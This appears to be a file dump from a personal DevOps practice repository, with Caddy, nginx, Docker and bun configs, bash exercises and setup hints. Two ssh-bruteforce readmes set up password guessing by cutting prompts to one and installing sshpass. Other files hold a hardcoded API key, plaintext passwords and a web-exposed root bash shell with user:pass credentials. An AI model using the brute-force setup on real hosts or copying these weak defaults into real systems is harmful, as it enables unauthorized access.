--------------------------------------------------------------------------------
/caddy/docker_upstreams/CaddyFile:
--------------------------------------------------------------------------------
1 | {
2 | auto_https off
3 | }
4 |
5 | pc.com:80, pc.com:443 {
6 |
7 | reverse_proxy {
8 | dynamic docker
9 | }
10 | }
11 |
12 | example.pc.com:80, example.pc.com:443 {
13 |
14 | reverse_proxy {
15 | dynamic docker
16 | }
17 | }
18 |
--------------------------------------------------------------------------------
/caddy/header_transformer/readme.md:
--------------------------------------------------------------------------------
1 |
2 |
3 | # Caddy request/response header transformer
4 |
5 | - default caddy headers
6 | - client sent headers
7 | - proxy upstream added headers
8 | - proxy upstream removed headers
9 | - proxy downstream added headers
10 | - proxy downstream removed headers
11 |
--------------------------------------------------------------------------------
/dockerize/angular/angular/src/app/app.component.ts:
--------------------------------------------------------------------------------
1 | import { Component } from '@angular/core';
2 |
3 | @Component({
4 | selector: 'app-root',
5 | templateUrl: './app.component.html',
6 | styleUrls: ['./app.component.css']
7 | })
8 | export class AppComponent {
9 | title = 'angular';
10 | }
11 |
--------------------------------------------------------------------------------
/echo_server/node/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3.8'
2 |
3 | services:
4 | echo-server:
5 | image: sinawic/echo_server:latest
6 | container_name: sinawic-echo-server
7 | ports:
8 | - 8080:80
9 | environment:
10 | - NODE_ENV=production
11 | restart: unless-stopped
12 |
--------------------------------------------------------------------------------
/nginx-vs-openresty/conf.d-nginx/default.conf:
--------------------------------------------------------------------------------
1 | server {
2 | listen 80;
3 | server_name example.com;
4 |
5 | location / {
6 | root /var/www/front;
7 | add_header Access-Control-Allow-Origin *;
8 | try_files $uri $uri/ /index.html;
9 | index index.html index.htm;
10 | }
11 | }
12 |
--------------------------------------------------------------------------------
/nginx/logs/docker-compose.yml:
--------------------------------------------------------------------------------
1 | # https://www.javatpoint.com/nginx-variables
2 |
3 | version: '3'
4 | services:
5 | nginx:
6 | image: nginx:1.21-alpine
7 | volumes:
8 | - "./nginx.conf:/etc/nginx/nginx.conf"
9 | - "./logs:/var/log/nginx/"
10 | ports:
11 | - 9999:9999
12 |
--------------------------------------------------------------------------------
/nginx/workers/front/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | parent
8 |
9 |
10 |
11 | PARENT
12 |
13 |
14 |
--------------------------------------------------------------------------------
/vscode/vscode-inbrowser-dev/code/src/setupTests.ts:
--------------------------------------------------------------------------------
1 | // jest-dom adds custom jest matchers for asserting on DOM nodes.
2 | // allows you to do things like:
3 | // expect(element).toHaveTextContent(/react/i)
4 | // learn more: https://github.com/testing-library/jest-dom
5 | import '@testing-library/jest-dom';
6 |
--------------------------------------------------------------------------------
/bun/file-server/README.md:
--------------------------------------------------------------------------------
1 | # app
2 |
3 | To install dependencies:
4 |
5 | ```bash
6 | bun install
7 | ```
8 |
9 | To run:
10 |
11 | ```bash
12 | bun run index.ts
13 | ```
14 |
15 | This project was created using `bun init` in bun v1.0.0. [Bun](https://bun.sh) is a fast all-in-one JavaScript runtime.
16 |
--------------------------------------------------------------------------------
/caddy/apikey_auth/hint.sh:
--------------------------------------------------------------------------------
1 |
2 | # https://caddyserver.com/docs/caddyfile-tutorial
3 |
4 | mkdir config data
5 |
6 | curl -i http://localhost/api/ -H "Authorization: Bearer key1"
7 | curl -i http://localhost/api/ -H "Authorization: Bearer key2"
8 | curl -i http://localhost/api/ -H "Authorization: Bearer key3"
9 |
--------------------------------------------------------------------------------
/dockerize/django/app/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python:3.9.6-alpine AS builder
2 |
3 | WORKDIR /app
4 |
5 | COPY requirements.txt /app
6 |
7 | RUN pip3 install -r requirements.txt --no-cache-dir
8 |
9 | COPY . /app
10 |
11 | EXPOSE 8000
12 |
13 | CMD ["python3", "manage.py", "runserver", "0.0.0.0:8000"]
14 |
--------------------------------------------------------------------------------
/nginx/static-server/front/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | parent
8 |
9 |
10 |
11 | PARENT
12 |
13 |
14 |
--------------------------------------------------------------------------------
/dockerize/react/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM node:17.0.1-bullseye-slim
2 |
3 | WORKDIR /app
4 |
5 | # install app dependencies
6 | COPY package.json package-lock.json ./
7 | RUN npm install
8 | COPY . ./
9 |
10 | RUN chown -R node:node node_modules
11 |
12 | EXPOSE 3000
13 |
14 | # start app
15 | CMD ["npm", "start"]
--------------------------------------------------------------------------------
/nginx/static-server/front/child/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | child
8 |
9 |
10 |
11 | CHILD
12 |
13 |
14 |
--------------------------------------------------------------------------------
/imageproxy/nginx.conf:
--------------------------------------------------------------------------------
1 | http{
2 |
3 | server {
4 | listen 80;
5 | client_max_body_size 64M;
6 |
7 | location /files {
8 | alias /var/www/files;
9 | autoindex on;
10 | autoindex_exact_size off;
11 | autoindex_localtime on;
12 | }
13 | }
14 |
15 | }
16 |
17 | events{}
18 |
--------------------------------------------------------------------------------
/linux/bash/str-op.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | a="abc"
4 | b="efg"
5 |
6 | if [ $a == $b ]
7 | then
8 | echo "true"
9 | fi
10 |
11 | if [ $a != $b ]
12 | then
13 | echo "true"
14 | fi
15 |
16 | if [ -z $a ]
17 | then
18 | echo "zero"
19 | fi
20 |
21 | if [ -n $a ]
22 | then
23 | echo "not zero"
24 | fi
25 |
--------------------------------------------------------------------------------
/linux/bash/var-sub.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | VAR=test
4 |
5 | echo -e "value for VAR is: ${VAR:+random} \t -substituted"
6 |
7 | echo -e "value for VAR is: ${VAR:-random} \t\t -original"
8 |
9 | echo -e "value for VAR is: ${TEST:=random} \t -substituted"
10 |
11 | echo -e "value for TEST is: $TEST \t -substituted"
--------------------------------------------------------------------------------
/nginx-vs-openresty/front/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 | parent
9 |
10 |
11 |
12 | PARENT
13 |
14 |
15 |
16 |
--------------------------------------------------------------------------------
/remote-linux-access/sshwifty/hint.sh:
--------------------------------------------------------------------------------
1 |
2 | # https://github.com/nirui/sshwifty
3 |
4 | cd certs
5 | DOMAIN=pc.com
6 | openssl genpkey -algorithm RSA -out $DOMAIN.key
7 | openssl req -new -key $DOMAIN.key -out $DOMAIN.csr -subj "/CN=$DOMAIN"
8 | openssl req -x509 -in $DOMAIN.csr -key $DOMAIN.key -out $DOMAIN.crt -days 3650
9 |
--------------------------------------------------------------------------------
/bun/next/hint.sh:
--------------------------------------------------------------------------------
1 |
2 |
3 | docker run --rm -it -v $PWD/app:/home/bun/app -p 3000:3000 oven/bun:1 bash
4 |
5 | bun create next-app .
6 |
7 | bun --bun run dev
8 |
9 | chown -R 1000:1000 ../app/
10 |
11 | # add Dockerfile
12 | # add .dockerignore
13 |
14 | docker build -t bun_next .
15 |
16 | docker-compose up -d
17 |
--------------------------------------------------------------------------------
/random-proj/weather-map/style.css:
--------------------------------------------------------------------------------
1 | #parent{
2 | position: relative;
3 | display: inline-block;
4 | width: 780px;
5 | height: 780px;
6 | }
7 |
8 | #grid{
9 | position: absolute;
10 | left: 0;
11 | right: 0;
12 | bottom: 0;
13 | top: 0;
14 | display: grid;
15 | opacity: 0.5;
16 | }
--------------------------------------------------------------------------------
/nginx/nginx-load-balancer/nginx.conf:
--------------------------------------------------------------------------------
1 | http{
2 | upstream nodeapp {
3 | server 172.21.236.56:3000;
4 | server 172.21.236.56:3001;
5 | }
6 |
7 | server{
8 | listen 9999;
9 | location / {
10 | proxy_pass http://nodeapp/;
11 | }
12 | }
13 | }
14 |
15 | events {}
--------------------------------------------------------------------------------
/ssh-bruteforce/script/Readme.md:
--------------------------------------------------------------------------------
1 |
2 |
3 | # disclaimer: this is for educational purposes only
4 |
5 | add the following line to `~/.ssh/config`
6 | ```
7 | Host *
8 | NumberOfPasswordPrompts 1
9 | ```
10 | to reduce the password prompt count to 1 which is by default 3
11 |
12 |
13 | > apt-get install sshpass
14 |
15 |
--------------------------------------------------------------------------------
/vscode/vscode-inbrowser-dev/code/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM node:16.13.1-alpine
2 |
3 | WORKDIR /app
4 |
5 | # install app dependencies
6 | COPY package.json package-lock.json ./
7 | RUN npm install
8 | COPY . ./
9 |
10 | RUN chown -R node:node node_modules
11 |
12 | EXPOSE 3000
13 |
14 | # start app
15 | CMD ["npm", "start"]
16 |
--------------------------------------------------------------------------------
/vscode/vscode-with-authentication/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3.3'
2 | services:
3 | vscode:
4 | image: ruanbekker/vscode:python-3.7
5 | container_name: vscode
6 | ports:
7 | - 8443:8443
8 | - 8888:8888
9 | volumes:
10 | - ./data:/data
11 | - ./code:/code
12 | restart: always
13 |
14 |
--------------------------------------------------------------------------------
/caddy/static_response/hint.sh:
--------------------------------------------------------------------------------
1 |
2 | # https://caddyserver.com/docs/caddyfile-tutorial
3 | # https://caddyserver.com/docs/caddyfile/directives/respond
4 |
5 | mkdir config data
6 |
7 | curl -i http://localhost/api/
8 | curl -i http://localhost/custom-header
9 | curl -i http://localhost/json
10 | curl -i http://localhost/html
11 |
--------------------------------------------------------------------------------
/nginx/custom-pages/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3'
2 | services:
3 | nginx:
4 | image: nginx:1.21-alpine
5 | volumes:
6 | - "./nginx.conf:/etc/nginx/nginx.conf"
7 | - "./404.html:/usr/share/nginx/html/404.html"
8 | - "./50x.html:/usr/share/nginx/html/50x.html"
9 | ports:
10 | - 9999:9999
11 |
--------------------------------------------------------------------------------
/bun/file-server/public/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | Document
8 |
9 |
10 |
11 | yes, html is a programming language!
12 |
13 |
14 |
--------------------------------------------------------------------------------
/caddy/cache/hint.sh:
--------------------------------------------------------------------------------
1 |
2 | # https://caddyserver.com/docs/caddyfile-tutorial
3 | # https://caddyserver.com/docs/modules/http.handlers.cache
4 | # https://github.com/caddyserver/cache-handler?tab=readme-ov-file#redis
5 |
6 | mkdir config data
7 |
8 | docker build -t sinawic/caddy:2.8.4-cache .
9 |
10 | curl -i http://localhost/api/
11 |
--------------------------------------------------------------------------------
/nginx/cache/docker-compose.yml:
--------------------------------------------------------------------------------
1 | # http://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_cache_path
2 |
3 | version: '3'
4 | services:
5 | nginx:
6 | image: nginx:1.21-alpine
7 | volumes:
8 | - "./nginx.conf:/etc/nginx/nginx.conf"
9 | - ./cache:/var/cache/nginx
10 | ports:
11 | - 9999:9999
12 |
--------------------------------------------------------------------------------
/ssh-bruteforce/clive/Readme.md:
--------------------------------------------------------------------------------
1 |
2 |
3 | # disclaimer: this is for educational purposes only
4 |
5 | add the following line to `~/.ssh/config`
6 | ```
7 | Host *
8 | NumberOfPasswordPrompts 1
9 | ```
10 | to reduce the password prompt count to 1 which is by default 3
11 |
12 |
13 | watch video: https://youtu.be/nV5SuVSUMPY
14 |
--------------------------------------------------------------------------------
/bun/socket/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "app",
3 | "module": "index.ts",
4 | "type": "module",
5 | "scripts": {
6 | "dev": "bun --watch index.ts",
7 | "prod": "bun index.ts"
8 | },
9 | "devDependencies": {
10 | "bun-types": "latest"
11 | },
12 | "peerDependencies": {
13 | "typescript": "^5.0.0"
14 | }
15 | }
--------------------------------------------------------------------------------
/dockerize/angular/angular/src/app/app-routing.module.ts:
--------------------------------------------------------------------------------
1 | import { NgModule } from '@angular/core';
2 | import { RouterModule, Routes } from '@angular/router';
3 |
4 | const routes: Routes = [];
5 |
6 | @NgModule({
7 | imports: [RouterModule.forRoot(routes)],
8 | exports: [RouterModule]
9 | })
10 | export class AppRoutingModule { }
11 |
--------------------------------------------------------------------------------
/dockerize/react/src/App.test.tsx:
--------------------------------------------------------------------------------
1 | import React from 'react';
2 | import { render, screen } from '@testing-library/react';
3 | import App from './App';
4 |
5 | test('renders learn react link', () => {
6 | render( );
7 | const linkElement = screen.getByText(/learn react/i);
8 | expect(linkElement).toBeInTheDocument();
9 | });
10 |
--------------------------------------------------------------------------------
/nginx/cache/node-express/index.js:
--------------------------------------------------------------------------------
1 | const express = require('express')
2 | const app = express()
3 | const port = 3000
4 |
5 | app.get('/', (req, res) => {
6 | console.log(req.headers)
7 | res.status(200).send('HELLO WORLD!')
8 | })
9 |
10 | app.listen(port, () => {
11 | console.log(`Example app listening on port ${port}`)
12 | })
13 |
--------------------------------------------------------------------------------
/remote-linux-access/gotty/Readme.md:
--------------------------------------------------------------------------------
1 |
2 |
3 | https://github.com/yudai/gotty
4 |
5 |
6 | wget https://github.com/yudai/gotty/releases/download/v1.0.1/gotty_linux_amd64.tar.gz
7 |
8 | tar -zxvf gotty_linux_amd64.tar.gz
9 |
10 | ./gotty top
11 | ./gotty -w -c user:pass bash
12 | ./gotty -w -r --once -c user:pass bash
13 |
14 |
15 |
16 |
--------------------------------------------------------------------------------
/bun/file-server/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "app",
3 | "module": "index.ts",
4 | "type": "module",
5 | "scripts": {
6 | "dev": "bun --watch index.ts",
7 | "prod": "bun index.ts"
8 | },
9 | "devDependencies": {
10 | "bun-types": "latest"
11 | },
12 | "peerDependencies": {
13 | "typescript": "^5.0.0"
14 | }
15 | }
--------------------------------------------------------------------------------
/json-server/readme.md:
--------------------------------------------------------------------------------
1 | commands to use the json server cli:
2 |
3 | - `npm install -g json-server`
4 | - `json-server --watch db.json`
5 | - `curl --request DELETE http://localhost:3000/posts/{id}`
6 | - `curl --header "Content-Type: application/json" --request POST --data '{"id": 4,"title": "json-server4","author": "typicode4"}' http://localhost:3000/posts`
--------------------------------------------------------------------------------
/nfs-docker/readme.md:
--------------------------------------------------------------------------------
1 |
2 | ### commands list
3 |
4 | #### client:
5 |
6 | ```
7 | sudo apt install nfs-common
8 | sudo mkdir /mnt/nfs
9 | sudo chmod -R 777 /mnt/nfs
10 | sudo mount.nfs4 -v 1.2.3.4:/ /mnt/nfs
11 |
12 | 1.2.3.4:/ /mnt/nfs nfs rw,auto,auto,nolock,intr,tcp,actimeo=1800 0 0
13 |
14 | sudo umount /mnt/nfs
15 | ```
16 |
--------------------------------------------------------------------------------
/nginx/load-balancer-detailed/nginx.conf:
--------------------------------------------------------------------------------
1 | http{
2 | upstream backends {
3 | server server-1 weight=2;
4 | server server-2;
5 | server server-3 backup;
6 | }
7 |
8 | server{
9 | listen 9999;
10 | location / {
11 | proxy_pass http://backends/;
12 | }
13 | }
14 | }
15 |
16 | events {}
--------------------------------------------------------------------------------
/remote-linux-access/shell-in-a-box/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3'
2 | services:
3 | shellinabox:
4 | image: sspreitzer/shellinabox:latest
5 | container_name: shellinabox
6 | restart: always
7 | ports:
8 | - 4200:4200
9 | environment:
10 | - SIAB_PASSWORD=qwert
11 | - SIAB_SUDO=true
12 | - SIAB_USER=docker
13 |
--------------------------------------------------------------------------------
/vscode/vscode-inbrowser-dev/code/src/App.test.tsx:
--------------------------------------------------------------------------------
1 | import React from 'react';
2 | import { render, screen } from '@testing-library/react';
3 | import App from './App';
4 |
5 | test('renders learn react link', () => {
6 | render( );
7 | const linkElement = screen.getByText(/learn react/i);
8 | expect(linkElement).toBeInTheDocument();
9 | });
10 |
--------------------------------------------------------------------------------
/caddy/header_transformer/hint.sh:
--------------------------------------------------------------------------------
1 |
2 | # https://caddyserver.com/docs/caddyfile-tutorial
3 | # https://caddyserver.com/docs/caddyfile/directives/header
4 | # https://caddyserver.com/docs/caddyfile/directives/reverse_proxy#header_up
5 |
6 | mkdir config data
7 |
8 |
9 | curl -i -H 'client-header: value' -H 'client-header-persistant: value' localhost/api/
10 |
--------------------------------------------------------------------------------
/caddy/layer4/CaddyFile:
--------------------------------------------------------------------------------
1 | {
2 | layer4 {
3 | 0.0.0.0:1080 {
4 | @ssh ssh
5 | route @ssh {
6 | proxy pc.com:22
7 | }
8 | }
9 | }
10 | }
11 |
12 | :80, :443 {
13 |
14 | # Default response for all other requests
15 | handle {
16 | respond "Welcome to yourdomain.com" 200
17 | }
18 | }
19 |
20 |
--------------------------------------------------------------------------------
/linux/bash/ar-op.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | echo "value of 2 + 2: `expr 2 + 2`"
4 |
5 | echo "value of 2 - 2: `expr 2 - 2`"
6 |
7 | echo "value of 2 * 2: `expr 2 \* 2`"
8 |
9 | echo "value of 2 / 2: `expr 2 / 2`"
10 |
11 | echo "value of 2 % 2: `expr 2 % 2`"
12 |
13 | echo "value of 2 == 2: `expr 2 == 2`"
14 |
15 | echo "value of 2 != 2: `expr 2 != 2`"
16 |
--------------------------------------------------------------------------------
/minio/standalone/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3'
2 |
3 | services:
4 | minio:
5 | image: minio/minio:RELEASE.2022-11-11T03-44-20Z
6 | ports:
7 | - "9000:9000"
8 | - "9001:9001"
9 | volumes:
10 | - ./minio_storage:/data
11 | command: server --console-address ":9001" /data
12 | env_file: .env
13 | restart: always
14 |
--------------------------------------------------------------------------------
/nodejs/node-stream/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "stream",
3 | "version": "1.0.0",
4 | "description": "",
5 | "main": "index.js",
6 | "scripts": {
7 | "start": "nodemon index"
8 | },
9 | "keywords": [],
10 | "author": "",
11 | "license": "ISC",
12 | "dependencies": {
13 | "express": "^4.17.3",
14 | "nodemon": "^2.0.15"
15 | }
16 | }
--------------------------------------------------------------------------------
/redis/redis-pub-sub-stream/stream/pub.js:
--------------------------------------------------------------------------------
1 | import Redis from "ioredis";
2 |
3 | var redis = new Redis();
4 |
5 | async function main() {
6 | // write an event to stream 'events', setting 'key1' to 'value1'
7 | await redis.sendCommand(
8 | new Redis.Command("XADD", ["queue", "*", "message", "NodeJSs"]));
9 |
10 | redis.disconnect()
11 | }
12 |
13 | main()
--------------------------------------------------------------------------------
/ftp-server/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '2.1'
2 | services:
3 | ftp:
4 | image: delfer/alpine-ftp-server
5 | network_mode: host
6 | # ports:
7 | # - 21:21
8 | # - 21000-21010:21000-21010
9 | environment:
10 | - USERS=one|1234|/home/one|10000 two|1234|/home/two|10001
11 | volumes:
12 | - ./one:/home/one
13 | - ./two:/home/two
--------------------------------------------------------------------------------
/nginx/auth_req/node-express/index.js:
--------------------------------------------------------------------------------
1 | const express = require('express')
2 | const app = express()
3 | const port = 3000
4 |
5 | app.get('/', (req, res) => {
6 | // custom logic goes here
7 | console.log(req.headers)
8 | res.status(401).send('ERROR')
9 | })
10 |
11 | app.listen(port, () => {
12 | console.log(`Example app listening on port ${port}`)
13 | })
14 |
--------------------------------------------------------------------------------
/kong/self-signed-ssl/presentation/index.md:
--------------------------------------------------------------------------------
1 |
2 | # Kong API gateway ssl termination with self signed certs
3 |
4 | - client to gateway connection is secured
5 | - gateway to service connection is not
6 |
7 | but services are not directly accessible from outside network, and only gateway can make connections to them [private network]
8 |
9 | 
10 |
--------------------------------------------------------------------------------
/nginx/auth_req/node-express/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "express",
3 | "version": "1.0.0",
4 | "description": "",
5 | "main": "index.js",
6 | "scripts": {
7 | "test": "echo \"Error: no test specified\" && exit 1"
8 | },
9 | "keywords": [],
10 | "author": "",
11 | "license": "ISC",
12 | "dependencies": {
13 | "express": "^4.18.2"
14 | }
15 | }
16 |
--------------------------------------------------------------------------------
/nginx/cache/node-express/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "express",
3 | "version": "1.0.0",
4 | "description": "",
5 | "main": "index.js",
6 | "scripts": {
7 | "test": "echo \"Error: no test specified\" && exit 1"
8 | },
9 | "keywords": [],
10 | "author": "",
11 | "license": "ISC",
12 | "dependencies": {
13 | "express": "^4.18.2"
14 | }
15 | }
16 |
--------------------------------------------------------------------------------
/nginx/http-logs/node-express/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "express",
3 | "version": "1.0.0",
4 | "description": "",
5 | "main": "index.js",
6 | "scripts": {
7 | "test": "echo \"Error: no test specified\" && exit 1"
8 | },
9 | "keywords": [],
10 | "author": "",
11 | "license": "ISC",
12 | "dependencies": {
13 | "express": "^4.18.2"
14 | }
15 | }
16 |
--------------------------------------------------------------------------------
/caddy/forward_auth/node-express/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "express",
3 | "version": "1.0.0",
4 | "description": "",
5 | "main": "index.js",
6 | "scripts": {
7 | "test": "echo \"Error: no test specified\" && exit 1"
8 | },
9 | "keywords": [],
10 | "author": "",
11 | "license": "ISC",
12 | "dependencies": {
13 | "express": "^4.18.2"
14 | }
15 | }
16 |
--------------------------------------------------------------------------------
/caddy/static_response/docker-compose.yml:
--------------------------------------------------------------------------------
1 | services:
2 | caddy:
3 | image: caddy:2.8.4
4 | container_name: caddy
5 | restart: unless-stopped
6 | environment:
7 | - TZ=Europe/Berlin
8 | ports:
9 | - 80:80
10 | - 443:443
11 | volumes:
12 | - ./CaddyFile:/etc/caddy/Caddyfile
13 | - ./data:/data
14 | - ./config:/config
15 |
--------------------------------------------------------------------------------
/nginx/basic-auth/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3'
2 | services:
3 | echo_server:
4 | image: ealen/echo-server:latest
5 | restart: always
6 | environment:
7 | - ENABLE__ENVIRONMENT=false
8 | nginx:
9 | image: nginx
10 | volumes:
11 | - ./nginx.conf:/etc/nginx/nginx.conf
12 | - ./htpasswd:/htpasswd
13 | ports:
14 | - 9999:9999
15 |
--------------------------------------------------------------------------------
/nodejs/node-echo-server/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "echo-server",
3 | "version": "1.0.0",
4 | "description": "",
5 | "main": "index.js",
6 | "scripts": {
7 | "test": "echo \"Error: no test specified\" && exit 1"
8 | },
9 | "keywords": [],
10 | "author": "",
11 | "license": "ISC",
12 | "dependencies": {
13 | "concat-stream": "^2.0.0"
14 | }
15 | }
16 |
--------------------------------------------------------------------------------
/dockerize/angular/angular/.editorconfig:
--------------------------------------------------------------------------------
1 | # Editor configuration, see https://editorconfig.org
2 | root = true
3 |
4 | [*]
5 | charset = utf-8
6 | indent_style = space
7 | indent_size = 2
8 | insert_final_newline = true
9 | trim_trailing_whitespace = true
10 |
11 | [*.ts]
12 | quote_type = single
13 |
14 | [*.md]
15 | max_line_length = off
16 | trim_trailing_whitespace = false
17 |
--------------------------------------------------------------------------------
/nodejs/node-proxy/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3'
2 | services:
3 | echo-server:
4 | image: ealen/echo-server:latest
5 | environment:
6 | - ENABLE__ENVIRONMENT=false
7 | ports:
8 | - 6969:80
9 |
10 | echo-server2:
11 | image: ealen/echo-server:latest
12 | environment:
13 | - ENABLE__ENVIRONMENT=false
14 | ports:
15 | - 7070:80
16 |
--------------------------------------------------------------------------------
/postgres/postgres-docker-compose/docker_pgadmin_servers.json:
--------------------------------------------------------------------------------
1 | {
2 | "Servers": {
3 | "1": {
4 | "Name": "postgres",
5 | "Group": "Servers",
6 | "Host": "postgres",
7 | "Port": 5432,
8 | "MaintenanceDB": "postgres",
9 | "Username": "root",
10 | "PassFile": "/pgadmin4/pgpass",
11 | "SSLMode": "prefer"
12 | }
13 | }
14 | }
15 |
--------------------------------------------------------------------------------
/qdrant/standalone/nodejs/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "nodejs",
3 | "version": "1.0.0",
4 | "main": "index.js",
5 | "scripts": {
6 | "test": "echo \"Error: no test specified\" && exit 1"
7 | },
8 | "keywords": [],
9 | "author": "",
10 | "license": "ISC",
11 | "description": "",
12 | "dependencies": {
13 | "@qdrant/js-client-rest": "^1.13.0"
14 | }
15 | }
16 |
--------------------------------------------------------------------------------
/dockerize/angular/angular/src/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Angular
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
--------------------------------------------------------------------------------
/rabbitMQ/rabbitMQ-docker-plugin/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3.3'
2 |
3 | services:
4 | rabbitmq:
5 | image: rabbitmq:3.11-management-delayed_message_exchange
6 | ports:
7 | - 5672:5672
8 | - 15672:15672
9 | volumes:
10 | - ./data/:/var/lib/rabbitmq/
11 | environment:
12 | - RABBITMQ_DEFAULT_USER=user
13 | - RABBITMQ_DEFAULT_PASS=password
14 |
--------------------------------------------------------------------------------
/dockerize/angular/angular/tsconfig.app.json:
--------------------------------------------------------------------------------
1 | /* To learn more about this file see: https://angular.io/config/tsconfig. */
2 | {
3 | "extends": "./tsconfig.json",
4 | "compilerOptions": {
5 | "outDir": "./out-tsc/app",
6 | "types": []
7 | },
8 | "files": [
9 | "src/main.ts",
10 | "src/polyfills.ts"
11 | ],
12 | "include": [
13 | "src/**/*.d.ts"
14 | ]
15 | }
16 |
--------------------------------------------------------------------------------
/rabbitMQ/rabbitMQ-high-available/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "rabbitmq",
3 | "version": "1.0.0",
4 | "description": "",
5 | "main": "index.js",
6 | "scripts": {
7 | "test": "echo \"Error: no test specified\" && exit 1"
8 | },
9 | "keywords": [],
10 | "author": "",
11 | "license": "ISC",
12 | "dependencies": {
13 | "amqp-connection-manager": "^4.1.3"
14 | }
15 | }
16 |
--------------------------------------------------------------------------------
/bun/app/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "app",
3 | "module": "index.ts",
4 | "type": "module",
5 | "scripts": {
6 | "dev": "bun --watch index.ts",
7 | "prod": "bun index.ts"
8 | },
9 | "devDependencies": {
10 | "bun-types": "latest"
11 | },
12 | "peerDependencies": {
13 | "typescript": "^5.0.0"
14 | },
15 | "dependencies": {
16 | "axios": "^1.5.0"
17 | }
18 | }
--------------------------------------------------------------------------------
/bun/next/app/public/window.svg:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/caddy/file_server/docker-compose.yml:
--------------------------------------------------------------------------------
1 | services:
2 | caddy:
3 | image: caddy:2.8.4
4 | container_name: caddy
5 | restart: unless-stopped
6 | environment:
7 | - TZ=Europe/Berlin
8 | ports:
9 | - 80:80
10 | - 443:443
11 | volumes:
12 | - ./CaddyFile:/etc/caddy/Caddyfile
13 | - ./data:/data
14 | - ./config:/config
15 | - ./static:/static
16 |
--------------------------------------------------------------------------------
/caddy/layer4/docker-compose.yml:
--------------------------------------------------------------------------------
1 | services:
2 | caddy:
3 | image: sinawic/caddy:2.8.4-l4
4 | container_name: caddy
5 | restart: unless-stopped
6 | environment:
7 | - TZ=Europe/Berlin
8 | ports:
9 | - 80:80
10 | - 443:443
11 | - 1080:1080
12 | volumes:
13 | - ./CaddyFile:/etc/caddy/Caddyfile
14 | - ./data:/data
15 | - ./config:/config
16 |
--------------------------------------------------------------------------------
/qdrant/standalone/python/app.py:
--------------------------------------------------------------------------------
1 |
2 | from qdrant_client import QdrantClient
3 | from qdrant_client.models import Distance, VectorParams
4 |
5 | client = QdrantClient(url="https://pc.com:6333", verify=False, api_key="sdlVp9fPBtj5ukN5hMYLBjaq5sw6QMhF")
6 |
7 | client.create_collection(
8 | collection_name="test_collection",
9 | vectors_config=VectorParams(size=4, distance=Distance.DOT),
10 | )
11 |
--------------------------------------------------------------------------------
/remote-linux-access/ttyd/Readme.md:
--------------------------------------------------------------------------------
1 |
2 | https://github.com/tsl0922/ttyd
3 |
4 | https://tsl0922.github.io/ttyd/
5 |
6 |
7 | wget https://github.com/tsl0922/ttyd/releases/download/1.7.3/ttyd.x86_64
8 |
9 | chmod +x ttyd.x86_64
10 |
11 |
12 | ./ttyd.x86_64 -o -u 1000 -g 1000 -B -p 2525 -m 1 -c user:pass htop
13 |
14 | ./ttyd.x86_64 -W -o -u 0 -g 0 -B -p 2525 -m 1 -c user:pass -b /ttyd bash
15 |
16 |
--------------------------------------------------------------------------------
/bun/next/app/public/file.svg:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/caddy/bot_detection/CaddyFile:
--------------------------------------------------------------------------------
1 | {
2 | auto_https off
3 | }
4 |
5 | :80, :443 {
6 |
7 | @allowedBots {
8 | header User-Agent *curl*
9 | header User-Agent *Mozilla*
10 | }
11 |
12 | @forbidden {
13 | not header User-Agent *Mozilla*
14 | not header User-Agent *curl*
15 | }
16 |
17 | reverse_proxy @forbidden backend:80
18 |
19 | respond @allowedBots "Access denied" 403
20 |
21 | }
22 |
--------------------------------------------------------------------------------
/caddy/custom_error_pages/hint.sh:
--------------------------------------------------------------------------------
1 |
2 | # https://caddyserver.com/docs/caddyfile-tutorial
3 | # https://caddyserver.com/docs/caddyfile/directives/handle_errors
4 | # https://caddyserver.com/docs/caddyfile/directives/error
5 |
6 | mkdir config data
7 |
8 | curl -i localhost/api/
9 | curl -i localhost/private
10 | curl -i localhost/hidden
11 | docker rm -f custom_error_pages-backend-1
12 | curl -i localhost/api/
13 |
--------------------------------------------------------------------------------
/bun/next/app/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM oven/bun:1 AS base
2 |
3 | WORKDIR /usr/src/app
4 |
5 | ENV NODE_ENV=production
6 |
7 | COPY package.json bun.lockb ./
8 |
9 | RUN bun install --frozen-lockfile
10 |
11 |
12 | FROM oven/bun:1 AS release
13 |
